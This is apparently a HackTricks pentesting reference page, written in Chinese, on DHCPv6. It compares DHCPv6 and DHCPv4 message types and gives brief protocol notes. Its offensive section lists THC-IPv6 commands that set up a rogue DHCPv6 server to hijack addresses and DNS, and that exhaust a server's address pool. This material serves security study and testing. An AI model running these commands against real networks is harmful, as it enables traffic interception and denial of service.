DHCPv6
Tip
学习和实践 AWS 黑客技术:
HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。
DHCPv6 vs. DHCPv4 Message Types Comparison
下表比较了 DHCPv6 与 DHCPv4 的消息类型:
| DHCPv6 Message Type | DHCPv4 Message Type |
|---|---|
| Solicit (1) | DHCPDISCOVER |
| Advertise (2) | DHCPOFFER |
| Request (3), Renew (5), Rebind (6) | DHCPREQUEST |
| Reply (7) | DHCPACK / DHCPNAK |
| Release (8) | DHCPRELEASE |
| Information-Request (11) | DHCPINFORM |
| Decline (9) | DHCPDECLINE |
| Confirm (4) | none |
| Reconfigure (10) | DHCPFORCERENEW |
| Relay-Forw (12), Relay-Reply (13) | none |
DHCPv6 消息类型的详细说明:
- Solicit (1): 由 DHCPv6 客户端发起,用于查找可用的服务器。
- Advertise (2): 服务器作为对 Solicit 的响应发送,表明可提供 DHCP 服务。
- Request (3): 客户端使用此消息向特定服务器请求 IP 地址或前缀。
- Confirm (4): 客户端用于验证分配的地址在网络上仍然有效,通常在网络发生变化后使用。
- Renew (5): 客户端向原始服务器发送此消息以延长地址生存期或更新配置。
- Rebind (6): 发送给任何服务器以延长地址生存期或更新配置,尤其在对 Renew 没有响应时使用。
- Reply (7): 服务器使用此消息提供地址、配置参数,或确认像 Release 或 Decline 之类的消息。
- Release (8): 客户端通知服务器停止使用一个或多个已分配的地址。
- Decline (9): 客户端发送此消息报告分配的地址在网络上存在冲突。
- Reconfigure (10): 服务器提示客户端发起事务以获取新的或更新的配置。
- Information-Request (11): 客户端请求配置参数,但不请求 IP 地址分配。
- Relay-Forw (12): 中继代理将消息转发给服务器。
- Relay-Repl (13): 服务器回复给中继代理,中继代理再将消息交付给客户端。
快速协议说明 (Offensive)
- DHCPv6 客户端使用 UDP 端口
546,服务器/中继使用 UDP 端口547。 - 客户端向 All_DHCP_Relay_Agents_and_Servers (
ff02::1:2) 发送 Solicit;服务器/中继在该地址监听。All_DHCP_Servers 是ff05::1:3。 - 客户端和服务器身份通过
OPTION_CLIENTID和OPTION_SERVERID使用 DUIDs 传递。这对于在地址变化时识别同一主机很有用。 - 地址分配使用
IA_NA(非临时地址)请求,前缀委派使用IA_PD(下游路由器前缀)。
快速侦察
# Basic DHCPv6 traffic capture
sudo tcpdump -vvv -i <IFACE> 'udp port 546 or udp port 547'
# THC-IPv6: discover DHCPv6 servers and their options
sudo atk6-dump_dhcp6 <IFACE>
恶意 DHCPv6 服务器 (Address/DNS Hijack)
# THC-IPv6: rogue DHCPv6 server advertising address + DNS
sudo atk6-fake_dhcps6 <IFACE> <PREFIX>/<LEN> <DNSv6>
这是一个通用的本地链路上的恶意 DHCPv6 服务器。在 Windows/AD 网络中,如果你想获得 NTLM relay primitives,请将其与更高层的 relays(参见 IPv6 页面)配合使用。
地址池耗尽 / DHCPv6 耗尽
# THC-IPv6: exhaust the server's address pool
sudo atk6-flood_dhcpc6 <IFACE>
Reconfigure 消息的注意事项
DHCPv6 Reconfigure 并非会被盲目接受:客户端只有在明确发送了 OPTION_RECONF_ACCEPT 的情况下才会接受它。默认情况下,客户端不愿意接受 Reconfigure 消息,因此除非你观察到或诱发了该选项,否则不可靠的 Reconfigure 攻击通常会失败。
参考资料
-
https://support.huawei.com/enterprise/en/doc/EDOC1100306163/d427e938/introduction-to-dhcpv6-messages
Tip
学习和实践 AWS 黑客技术:
HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。


